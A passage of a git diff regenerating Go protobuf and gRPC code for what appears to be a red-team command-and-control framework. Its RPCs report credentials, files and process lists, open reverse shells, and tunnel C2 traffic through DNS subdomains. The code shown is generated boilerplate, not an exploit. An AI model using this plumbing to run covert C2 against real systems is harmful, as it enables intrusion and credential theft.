interface{}, i int) interface{} { - switch v := v.(*FetchAssetRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FetchAssetResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportCredentialRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportCredentialResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportFileRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportFileResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportProcessListRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportProcessListResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportTaskOutputMessage); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportShellTaskOutputMessage); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportOutputRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReportOutputResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReverseShellRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReverseShellResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreatePortalRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_c2_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreatePortalResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } - file_c2_proto_msgTypes[15].OneofWrappers = []interface{}{ + file_c2_proto_msgTypes[15].OneofWrappers = []any{ (*FetchAssetRequest_TaskContext)(nil), (*FetchAssetRequest_ShellTaskContext)(nil), } - file_c2_proto_msgTypes[17].OneofWrappers = []interface{}{ + file_c2_proto_msgTypes[17].OneofWrappers = []any{ (*ReportCredentialRequest_TaskContext)(nil), (*ReportCredentialRequest_ShellTaskContext)(nil), } - file_c2_proto_msgTypes[19].OneofWrappers = []interface{}{ + file_c2_proto_msgTypes[19].OneofWrappers = []any{ (*ReportFileRequest_TaskContext)(nil), (*ReportFileRequest_ShellTaskContext)(nil), } - file_c2_proto_msgTypes[21].OneofWrappers = []interface{}{ + file_c2_proto_msgTypes[21].OneofWrappers = []any{ (*ReportProcessListRequest_TaskContext)(nil), (*ReportProcessListRequest_ShellTaskContext)(nil), } - file_c2_proto_msgTypes[25].OneofWrappers = []interface{}{ + file_c2_proto_msgTypes[25].OneofWrappers = []any{ (*ReportOutputRequest_TaskOutput)(nil), (*ReportOutputRequest_ShellTaskOutput)(nil), } - file_c2_proto_msgTypes[27].OneofWrappers = []interface{}{ + file_c2_proto_msgTypes[27].OneofWrappers = []any{ (*ReverseShellRequest_TaskContext)(nil), (*ReverseShellRequest_ShellTaskContext)(nil), } - file_c2_proto_msgTypes[29].OneofWrappers = []interface{}{ + file_c2_proto_msgTypes[29].OneofWrappers = []any{ (*CreatePortalRequest_TaskContext)(nil), (*CreatePortalRequest_ShellTaskContext)(nil), } @@ -3079,7 +2654,7 @@ func file_c2_proto_init() { out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_c2_proto_rawDesc, + RawDescriptor: unsafe.Slice(unsafe.StringData(file_c2_proto_rawDesc), len(file_c2_proto_rawDesc)), NumEnums: 4, NumMessages: 31, NumExtensions: 0, @@ -3091,7 +2666,6 @@ func file_c2_proto_init() { MessageInfos: file_c2_proto_msgTypes, }.Build() File_c2_proto = out.File - file_c2_proto_rawDesc = nil file_c2_proto_goTypes = nil file_c2_proto_depIdxs = nil } diff --git a/tavern/internal/c2/c2pb/c2_grpc.pb.go b/tavern/internal/c2/c2pb/c2_grpc.pb.go index dc86e01a7..23c65e903 100644 --- a/tavern/internal/c2/c2pb/c2_grpc.pb.go +++ b/tavern/internal/c2/c2pb/c2_grpc.pb.go @@ -1,4 +1,8 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. +// versions: +// - protoc-gen-go-grpc v1.3.0 +// - protoc v3.21.12 +// source: c2.proto package c2pb @@ -11,7 +15,19 @@ import ( // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. -const _ = grpc.SupportPackageIsVersion7 +// Requires gRPC-Go v1.62.0 or later. +const _ = grpc.SupportPackageIsVersion8 + +const ( + C2_ClaimTasks_FullMethodName = "/c2.C2/ClaimTasks" + C2_FetchAsset_FullMethodName = "/c2.C2/FetchAsset" + C2_ReportCredential_FullMethodName = "/c2.C2/ReportCredential" + C2_ReportFile_FullMethodName = "/c2.C2/ReportFile" + C2_ReportProcessList_FullMethodName = "/c2.C2/ReportProcessList" + C2_ReportOutput_FullMethodName = "/c2.C2/ReportOutput" + C2_ReverseShell_FullMethodName = "/c2.C2/ReverseShell" + C2_CreatePortal_FullMethodName = "/c2.C2/CreatePortal" +) // C2Client is the client API for C2 service. // @@ -57,8 +73,9 @@ func NewC2Client(cc grpc.ClientConnInterface) C2Client { } func (c *c2Client) ClaimTasks(ctx context.Context, in *ClaimTasksRequest, opts ...grpc.CallOption) (*ClaimTasksResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(ClaimTasksResponse) - err := c.cc.Invoke(ctx, "/c2.C2/ClaimTasks", in, out, opts...) + err := c.cc.Invoke(ctx, C2_ClaimTasks_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } @@ -66,11 +83,12 @@ func (c *c2Client) ClaimTasks(ctx context.Context, in *ClaimTasksRequest, opts . } func (c *c2Client) FetchAsset(ctx context.Context, in *FetchAssetRequest, opts ...grpc.CallOption) (C2_FetchAssetClient, error) { - stream, err := c.cc.NewStream(ctx, &_C2_serviceDesc.Streams[0], "/c2.C2/FetchAsset", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[0], C2_FetchAsset_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &c2FetchAssetClient{stream} + x := &c2FetchAssetClient{ClientStream: stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } @@ -98,8 +116,9 @@ func (x *c2FetchAssetClient) Recv() (*FetchAssetResponse, error) { } func (c *c2Client) ReportCredential(ctx context.Context, in *ReportCredentialRequest, opts ...grpc.CallOption) (*ReportCredentialResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(ReportCredentialResponse) - err := c.cc.Invoke(ctx, "/c2.C2/ReportCredential", in, out, opts...) + err := c.cc.Invoke(ctx, C2_ReportCredential_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } @@ -107,11 +126,12 @@ func (c *c2Client) ReportCredential(ctx context.Context, in *ReportCredentialReq } func (c *c2Client) ReportFile(ctx context.Context, opts ...grpc.CallOption) (C2_ReportFileClient, error) { - stream, err := c.cc.NewStream(ctx, &_C2_serviceDesc.Streams[1], "/c2.C2/ReportFile", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[1], C2_ReportFile_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &c2ReportFileClient{stream} + x := &c2ReportFileClient{ClientStream: stream} return x, nil } @@ -141,8 +161,9 @@ func (x *c2ReportFileClient) CloseAndRecv() (*ReportFileResponse, error) { } func (c *c2Client) ReportProcessList(ctx context.Context, in *ReportProcessListRequest, opts ...grpc.CallOption) (*ReportProcessListResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(ReportProcessListResponse) - err := c.cc.Invoke(ctx, "/c2.C2/ReportProcessList", in, out, opts...) + err := c.cc.Invoke(ctx, C2_ReportProcessList_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } @@ -150,8 +171,9 @@ func (c *c2Client) ReportProcessList(ctx context.Context, in *ReportProcessListR } func (c *c2Client) ReportOutput(ctx context.Context, in *ReportOutputRequest, opts ...grpc.CallOption) (*ReportOutputResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(ReportOutputResponse) - err := c.cc.Invoke(ctx, "/c2.C2/ReportOutput", in, out, opts...) + err := c.cc.Invoke(ctx, C2_ReportOutput_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } @@ -159,11 +181,12 @@ func (c *c2Client) ReportOutput(ctx context.Context, in *ReportOutputRequest, op } func (c *c2Client) ReverseShell(ctx context.Context, opts ...grpc.CallOption) (C2_ReverseShellClient, error) { - stream, err := c.cc.NewStream(ctx, &_C2_serviceDesc.Streams[2], "/c2.C2/ReverseShell", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[2], C2_ReverseShell_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &c2ReverseShellClient{stream} + x := &c2ReverseShellClient{ClientStream: stream} return x, nil } @@ -190,11 +213,12 @@ func (x *c2ReverseShellClient) Recv() (*ReverseShellResponse, error) { } func (c *c2Client) CreatePortal(ctx context.Context, opts ...grpc.CallOption) (C2_CreatePortalClient, error) { - stream, err := c.cc.NewStream(ctx, &_C2_serviceDesc.Streams[3], "/c2.C2/CreatePortal", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[3], C2_CreatePortal_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &c2CreatePortalClient{stream} + x := &c2CreatePortalClient{ClientStream: stream} return x, nil } @@ -293,8 +317,8 @@ type UnsafeC2Server interface { mustEmbedUnimplementedC2Server() } -func RegisterC2Server(s *grpc.Server, srv C2Server) { - s.RegisterService(&_C2_serviceDesc, srv) +func RegisterC2Server(s grpc.ServiceRegistrar, srv C2Server) { + s.RegisterService(&C2_ServiceDesc, srv) } func _C2_ClaimTasks_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { @@ -307,7 +331,7 @@ func _C2_ClaimTasks_Handler(srv interface{}, ctx context.Context, dec func(inter } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/c2.C2/ClaimTasks", + FullMethod: C2_ClaimTasks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(C2Server).ClaimTasks(ctx, req.(*ClaimTasksRequest)) @@ -320,7 +344,7 @@ func _C2_FetchAsset_Handler(srv interface{}, stream grpc.ServerStream) error { if err := stream.RecvMsg(m); err != nil { return err } - return srv.(C2Server).FetchAsset(m, &c2FetchAssetServer{stream}) + return srv.(C2Server).FetchAsset(m, &c2FetchAssetServer{ServerStream: stream}) } type C2_FetchAssetServer interface { @@ -346,7 +370,7 @@ func _C2_ReportCredential_Handler(srv interface{}, ctx context.Context, dec func } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/c2.C2/ReportCredential", + FullMethod: C2_ReportCredential_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(C2Server).ReportCredential(ctx, req.(*ReportCredentialRequest)) @@ -355,7 +379,7 @@ func _C2_ReportCredential_Handler(srv interface{}, ctx context.Context, dec func } func _C2_ReportFile_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(C2Server).ReportFile(&c2ReportFileServer{stream}) + return srv.(C2Server).ReportFile(&c2ReportFileServer{ServerStream: stream}) } type C2_ReportFileServer interface { @@ -390,7 +414,7 @@ func _C2_ReportProcessList_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/c2.C2/ReportProcessList", + FullMethod: C2_ReportProcessList_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(C2Server).ReportProcessList(ctx, req.(*ReportProcessListRequest)) @@ -408,7 +432,7 @@ func _C2_ReportOutput_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/c2.C2/ReportOutput", + FullMethod: C2_ReportOutput_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(C2Server).ReportOutput(ctx, req.(*ReportOutputRequest)) @@ -417,7 +441,7 @@ func _C2_ReportOutput_Handler(srv interface{}, ctx context.Context, dec func(int } func _C2_ReverseShell_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(C2Server).ReverseShell(&c2ReverseShellServer{stream}) + return srv.(C2Server).ReverseShell(&c2ReverseShellServer{ServerStream: stream}) } type C2_ReverseShellServer interface { @@ -443,7 +467,7 @@ func (x *c2ReverseShellServer) Recv() (*ReverseShellRequest, error) { } func _C2_CreatePortal_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(C2Server).CreatePortal(&c2CreatePortalServer{stream}) + return srv.(C2Server).CreatePortal(&c2CreatePortalServer{ServerStream: stream}) } type C2_CreatePortalServer interface { @@ -468,7 +492,10 @@ func (x *c2CreatePortalServer) Recv() (*CreatePortalRequest, error) { return m, nil } -var _C2_serviceDesc = grpc.ServiceDesc{ +// C2_ServiceDesc is the grpc.ServiceDesc for C2 service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var C2_ServiceDesc = grpc.ServiceDesc{ ServiceName: "c2.C2", HandlerType: (*C2Server)(nil), Methods: []grpc.MethodDesc{ diff --git a/tavern/internal/c2/dnspb/dns.pb.go b/tavern/internal/c2/dnspb/dns.pb.go index 2bf0252ba..a23d32d44 100644 --- a/tavern/internal/c2/dnspb/dns.pb.go +++ b/tavern/internal/c2/dnspb/dns.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.32.0 +// protoc-gen-go v1.36.5 // protoc v3.21.12 // source: dns.proto @@ -11,6 +11,7 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" + unsafe "unsafe" ) const ( @@ -82,28 +83,25 @@ func (PacketType) EnumDescriptor() ([]byte, []int) { // DNSPacket is the main message format for DNS C2 communication // It is serialized to protobuf, then encoded Base32, and sent as DNS subdomain type DNSPacket struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Type PacketType `protobuf:"varint,1,opt,name=type,proto3,enum=dns.PacketType" json:"type,omitempty"` // Packet type - Sequence uint32 `protobuf:"varint,2,opt,name=sequence,proto3" json:"sequence,omitempty"` // Chunk sequence number (0-Based for INIT, 1-based for DATA) - ConversationId string `protobuf:"bytes,3,opt,name=conversation_id,json=conversationId,proto3" json:"conversation_id,omitempty"` // 8-character random conversation ID - Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` // Chunk payload (or InitPayload for INIT packets) - Crc32 uint32 `protobuf:"varint,5,opt,name=crc32,proto3" json:"crc32,omitempty"` // Optional CRC32 for validation + state protoimpl.MessageState `protogen:"open.v1"` + Type PacketType `protobuf:"varint,1,opt,name=type,proto3,enum=dns.PacketType" json:"type,omitempty"` // Packet type + Sequence uint32 `protobuf:"varint,2,opt,name=sequence,proto3" json:"sequence,omitempty"` // Chunk sequence number (0-Based for INIT, 1-based for DATA) + ConversationId string `protobuf:"bytes,3,opt,name=conversation_id,json=conversationId,proto3" json:"conversation_id,omitempty"` // 8-character random conversation ID + Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` // Chunk payload (or InitPayload for INIT packets) + Crc32 uint32 `protobuf:"varint,5,opt,name=crc32,proto3" json:"crc32,omitempty"` // Optional CRC32 for validation // Async protocol fields for windowed transmission - WindowSize uint32 `protobuf:"varint,6,opt,name=window_size,json=windowSize,proto3" json:"window_size,omitempty"` // Number of packets client has in-flight - Acks []*AckRange `protobuf:"bytes,7,rep,name=acks,proto3" json:"acks,omitempty"` // Ranges of successfully received chunks (SACK) - Nacks []uint32 `protobuf:"varint,8,rep,packed,name=nacks,proto3" json:"nacks,omitempty"` // Specific sequence numbers to retransmit + WindowSize uint32 `protobuf:"varint,6,opt,name=window_size,json=windowSize,proto3" json:"window_size,omitempty"` // Number of packets client has in-flight + Acks []*AckRange `protobuf:"bytes,7,rep,name=acks,proto3" json:"acks,omitempty"` // Ranges of successfully received chunks (SACK) + Nacks []uint32 `protobuf:"varint,8,rep,packed,name=nacks,proto3" json:"nacks,omitempty"` // Specific sequence numbers to retransmit + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *DNSPacket) Reset() { *x = DNSPacket{} - if protoimpl.UnsafeEnabled { - mi := &file_dns_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_dns_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *DNSPacket) String() string { @@ -114,7 +112,7 @@ func (*DNSPacket) ProtoMessage() {} func (x *DNSPacket) ProtoReflect() protoreflect.Message { mi := &file_dns_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -187,21 +185,18 @@ func (x *DNSPacket) GetNacks() []uint32 { // AckRange represents a contiguous range of acknowledged sequence numbers type AckRange struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + StartSeq uint32 `protobuf:"varint,1,opt,name=start_seq,json=startSeq,proto3" json:"start_seq,omitempty"` // Inclusive start of range + EndSeq uint32 `protobuf:"varint,2,opt,name=end_seq,json=endSeq,proto3" json:"end_seq,omitempty"` // Inclusive end of range unknownFields protoimpl.UnknownFields - - StartSeq uint32 `protobuf:"varint,1,opt,name=start_seq,json=startSeq,proto3" json:"start_seq,omitempty"` // Inclusive start of range - EndSeq uint32 `protobuf:"varint,2,opt,name=end_seq,json=endSeq,proto3" json:"end_seq,omitempty"` // Inclusive end of range + sizeCache protoimpl.SizeCache } func (x *AckRange) Reset() { *x = AckRange{} - if protoimpl.UnsafeEnabled { - mi := &file_dns_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_dns_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *AckRange) String() string { @@ -212,7 +207,7 @@ func (*AckRange) ProtoMessage() {} func (x *AckRange) ProtoReflect() protoreflect.Message { mi := &file_dns_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -244,23 +239,20 @@ func (x *AckRange) GetEndSeq() uint32 { // InitPayload is the payload for INIT packets // It contains metadata about the upcoming data transmission type InitPayload struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + MethodCode string `protobuf:"bytes,1,opt,name=method_code,json=methodCode,proto3" json:"method_code,omitempty"` // 2-character gRPC method code (e.g., "ct", "fa") + TotalChunks uint32 `protobuf:"varint,2,opt,name=total_chunks,json=totalChunks,proto3" json:"total_chunks,omitempty"` // Total number of data chunks to expect + DataCrc32 uint32 `protobuf:"varint,3,opt,name=data_crc32,json=dataCrc32,proto3" json:"data_crc32,omitempty"` // CRC32 checksum of complete request data + FileSize uint32 `protobuf:"varint,4,opt,name=file_size,json=fileSize,proto3" json:"file_size,omitempty"` // Total size of the file/data in bytes unknownFields protoimpl.UnknownFields - - MethodCode string `protobuf:"bytes,1,opt,name=method_code,json=methodCode,proto3" json:"method_code,omitempty"` // 2-character gRPC method code (e.g., "ct", "fa") - TotalChunks uint32 `protobuf:"varint,2,opt,name=total_chunks,json=totalChunks,proto3" json:"total_chunks,omitempty"` // Total number of data chunks to expect - DataCrc32 uint32 `protobuf:"varint,3,opt,name=data_crc32,json=dataCrc32,proto3" json:"data_crc32,omitempty"` // CRC32 checksum of complete request data - FileSize uint32 `protobuf:"varint,4,opt,name=file_size,json=fileSize,proto3" json:"file_size,omitempty"` // Total size of the file/data in bytes + sizeCache protoimpl.SizeCache } func (x *InitPayload) Reset() { *x = InitPayload{} - if protoimpl.UnsafeEnabled { - mi := &file_dns_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_dns_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *InitPayload) String() string { @@ -271,7 +263,7 @@ func (*InitPayload) ProtoMessage() {} func (x *InitPayload) ProtoReflect() protoreflect.Message { mi := &file_dns_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -317,20 +309,17 @@ func (x *InitPayload) GetFileSize() uint32 { // FetchPayload is the payload for FETCH packets // It specifies which response chunk to retrieve type FetchPayload struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + ChunkIndex uint32 `protobuf:"varint,1,opt,name=chunk_index,json=chunkIndex,proto3" json:"chunk_index,omitempty"` // Which chunk to fetch (1-based) unknownFields protoimpl.UnknownFields - - ChunkIndex uint32 `protobuf:"varint,1,opt,name=chunk_index,json=chunkIndex,proto3" json:"chunk_index,omitempty"` // Which chunk to fetch (1-based) + sizeCache protoimpl.SizeCache } func (x *FetchPayload) Reset() { *x = FetchPayload{} - if protoimpl.UnsafeEnabled { - mi := &file_dns_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_dns_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *FetchPayload) String() string { @@ -341,7 +330,7 @@ func (*FetchPayload) ProtoMessage() {} func (x *FetchPayload) ProtoReflect() protoreflect.Message { mi := &file_dns_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -365,22 +354,19 @@ func (x *FetchPayload) GetChunkIndex() uint32 { // ResponseMetadata indicates the response is chunked and must be fetched type ResponseMetadata struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + TotalChunks uint32 `protobuf:"varint,1,opt,name=total_chunks,json=totalChunks,proto3" json:"total_chunks,omitempty"` // Total number of response chunks + DataCrc32 uint32 `protobuf:"varint,2,opt,name=data_crc32,json=dataCrc32,proto3" json:"data_crc32,omitempty"` // CRC32 checksum of complete response data + ChunkSize uint32 `protobuf:"varint,3,opt,name=chunk_size,json=chunkSize,proto3" json:"chunk_size,omitempty"` // Size of each chunk (last may be smaller) unknownFields protoimpl.UnknownFields - - TotalChunks uint32 `protobuf:"varint,1,opt,name=total_chunks,json=totalChunks,proto3" json:"total_chunks,omitempty"` // Total number of response chunks - DataCrc32 uint32 `protobuf:"varint,2,opt,name=data_crc32,json=dataCrc32,proto3" json:"data_crc32,omitempty"` // CRC32 checksum of complete response data - ChunkSize uint32 `protobuf:"varint,3,opt,name=chunk_size,json=chunkSize,proto3" json:"chunk_size,omitempty"` // Size of each chunk (last may be smaller) + sizeCache protoimpl.SizeCache } func (x *ResponseMetadata) Reset() { *x = ResponseMetadata{} - if protoimpl.UnsafeEnabled { - mi := &file_dns_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_dns_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ResponseMetadata) String() string { @@ -391,7 +377,7 @@ func (*ResponseMetadata) ProtoMessage() {} func (x *ResponseMetadata) ProtoReflect() protoreflect.Message { mi := &file_dns_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -429,7 +415,7 @@ func (x *ResponseMetadata) GetChunkSize() uint32 { var File_dns_proto protoreflect.FileDescriptor -var file_dns_proto_rawDesc = []byte{ +var file_dns_proto_rawDesc = string([]byte{ 0x0a, 0x09, 0x64, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x64, 0x6e, 0x73, 0x22, 0xf9, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x12, 0x23, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x0f, 0x2e, 0x64, @@ -484,23 +470,23 @@ var file_dns_proto_rawDesc = []byte{ 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} +}) var ( file_dns_proto_rawDescOnce sync.Once - file_dns_proto_rawDescData = file_dns_proto_rawDesc + file_dns_proto_rawDescData []byte ) func file_dns_proto_rawDescGZIP() []byte { file_dns_proto_rawDescOnce.Do(func() { - file_dns_proto_rawDescData = protoimpl.X.CompressGZIP(file_dns_proto_rawDescData) + file_dns_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_dns_proto_rawDesc), len(file_dns_proto_rawDesc))) }) return file_dns_proto_rawDescData } var file_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 5) -var file_dns_proto_goTypes = []interface{}{ +var file_dns_proto_goTypes = []any{ (PacketType)(0), // 0: dns.PacketType (*DNSPacket)(nil), // 1: dns.DNSPacket (*AckRange)(nil), // 2: dns.AckRange @@ -523,73 +509,11 @@ func file_dns_proto_init() { if File_dns_proto != nil { return } - if !protoimpl.UnsafeEnabled { - file_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSPacket); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_dns_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AckRange); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_dns_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*InitPayload); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_dns_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FetchPayload); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_dns_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ResponseMetadata); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - 